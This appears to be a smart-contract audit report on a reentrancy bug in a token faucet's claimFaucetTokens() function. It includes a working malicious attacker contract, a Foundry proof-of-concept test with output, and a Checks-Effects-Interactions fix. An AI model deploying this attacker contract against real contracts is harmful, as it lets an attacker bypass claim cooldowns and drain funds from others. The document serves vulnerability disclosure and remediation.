Root + Impact
Description
A reentrancy vulnerability in claimFaucetTokens() allows malicious contracts to bypass the 3 day cooldown period and claim multiple times in a single transaction. This enables attackers to drain the faucet's token supply much faster than intended.
Severity Justification:
-
Direct Token Loss: Attacker can steal 2x, 3x, or more tokens per transaction
-
Cooldown Bypass: Defeats the core rate limiting mechanism (3 day wait)
-
Repeatable Attack: Can be executed every 3 days to continuously drain the faucet
-
Low Barrier: Any user can deploy a malicious contract to exploit this
Attack Impact:
-
Legitimate users unable to claim (faucet drained quickly)
-
Protocol loses control over token distribution rate
-
Daily claim limits can be circumvented (tokens claimed before counter updates)
Proof of Concept
The vulnerability occurs because state variable lastClaimTime[faucetClaimer] is updated AFTER the external ETH transfer:
Vulnerable Code Flow (lines 195-231):
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
Attack Scenario:
Attacker deploys malicious contract
Contract calls claimFaucetTokens() for the first time
Cooldown check passes (lastClaimTime[attacker] == 0)
hasClaimedEth[attacker] = true (blocks ETH re-claiming)
ETH sent to attacker's receive() function
Attacker's receive() calls claimFaucetTokens() AGAIN
Reentrant call : lastClaimTime[attacker] STILL == 0 → Cooldown passes
dailyClaimCount not incremented yet → Limit check might pass
Attacker gets tokens AGAIN!
Malicious Contract:
contract MaliciousReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
uint256 public maxAttacks = 3;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
attackCount = 0;
faucet.claimFaucetTokens();
}
receive() external payable {
if (attackCount < maxAttacks) {
attackCount++;
try faucet.claimFaucetTokens() {
} catch {}
}
}
}
Foundry PoC Test:
function testReentrancyAttackDrainsTokens() public {
MaliciousReentrancyAttacker attacker = new MaliciousReentrancyAttacker(
payable(address(raiseBoxFaucet))
);
uint256 faucetDripAmount = raiseBoxFaucet.faucetDrip();
attacker.attack();
uint256 attackerBalance = raiseBoxFaucet.balanceOf(address(attacker));
assertEq(attackerBalance, 2000 * 10**18);
assertTrue(attackerBalance > faucetDripAmount);
}
Test Output:
Attacker token balance after: 2000000000000000000000 [2e21]
Expected if no reentrancy: 1000000000000000000000 [1e21]
Times claimed: 2
EXPLOIT CONFIRMED: Attacker stole more tokens than one claim should give!
Tools Used
Recommended Mitigation Steps
Follow the Checks-Effects-Interactions (CEI) pattern by moving all state updates BEFORE external calls:
function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // Effects: Update ALL state variables BEFORE any external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// ETH drip logic
bool shouldDripEth = !hasClaimedEth[faucetClaimer] && !sepEthDripsPaused;
if (shouldDripEth) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ // Interactions: External calls LAST
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Alternative: Use OpenZeppelin's ReentrancyGuard:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
function claimFaucetTokens() public nonReentrant {
}
}